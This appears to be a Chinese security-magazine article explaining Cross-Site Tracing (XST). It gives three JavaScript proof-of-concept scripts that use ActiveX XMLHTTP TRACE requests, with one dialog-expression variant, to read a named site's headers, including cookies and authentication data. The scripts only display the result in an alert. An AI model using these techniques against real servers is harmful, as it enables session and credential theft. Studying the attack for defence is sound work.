cross-site tracing XST攻击

 更新时间:2007年01月16日 00:00:00   作者:  
(福利推荐:【腾讯云】服务器最新限时优惠活动,云服务器1核2G仅99元/年、2核4G仅768元/3年,立即抢购>>>:9i0i.cn/qcloud

(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun

注意:文章已经发表于8期黑客防线,版权归其所

XST攻击描述:
攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验证以及ntlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。

XST攻击条件:
1、需要目标web服务器允许Trace参数;
2、需要一个用来插入XST代码的地方; 
3、目标站点存在跨域漏洞。

XST与XSS的比较:
相同点:都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。
优点:可以绕过一般的http验证以及NTLM验证

如何利用:

手法1:

<SCRIPT type=text/java script>
<!--
function xssTRACE(){
var xmlHttp=new ActiveXObject(\"Microsoft&#46;XMLHTTP\");
xmlHttp&#46;open(\"TRACE\",\"http://wmjie&#46;51&#46;net/swords/\",false);
xmlHttp&#46;send();
xmlDoc=xmlHttp&#46;responseText;
alert(xmlDoc);
}

//-->
</SCRIPT>
<BR><INPUT onclick=xssTRACE(); type=button value=\"XSS TRACE\">
手法2: 
<SCRIPT type=text/java script>
<!--
function xssTRACE() {
var openWin=open(\"blank&#46;htm\",\"swords\",\"width=500,height=400\");
var otraceswords=openWin&#46;external;
openWin&#46;location&#46;href=\"http://wmjie&#46;51&#46;net/swords/\";
setTimeout(
function () {
//以下必须写在一行
otraceswords&#46;NavigateAndFind('java script:xmlHttp=new ActiveXObject(\"Microsoft&#46;XMLHTTP\");xmlHttp&#46;open(\"TRACE\",\"http://wmjie&#46;51&#46;net/swords/\",false);xmlHttp&#46;send();xmlDoc=xmlHttp&#46;responseText;alert(\"不用document&#46;cookie 显示站点wmjie&#46;51&#46;net/swords/ 的头信息。\\n\" + xmlDoc);',\"\",\"\");
},
1024
);
}
//-->
</SCRIPT>
<BR><INPUT onclick=xssTRACE(); type=button value=\"XSS TRACE\">

手法3:

<SCRIPT type=text/java script>
function xssTRACE(){
var swords = \"var xmlHttp = new ActiveXObject(\\"Microsoft.XMLHTTP\\")\;xmlHttp.open(\\"TRACE\\",\\"http://http://www.tingh.com/\\",false)\;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;\";
var target = \"http://wmjie.51.net/swords/\";
spinach = encodeURIComponent(swords + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent(\"' + spinach + '\")))';
showModalDialog(target, null, readyCode);
}
</SCRIPT>
<BR><INPUT onclick=xssTRACE() type=button value=\"XSS TRACE\">

后记:研究阶段,希望能抛砖引玉,期望和您能够交流心得体会。

相关文章

最新评论

?


http://www.vxiaotou.com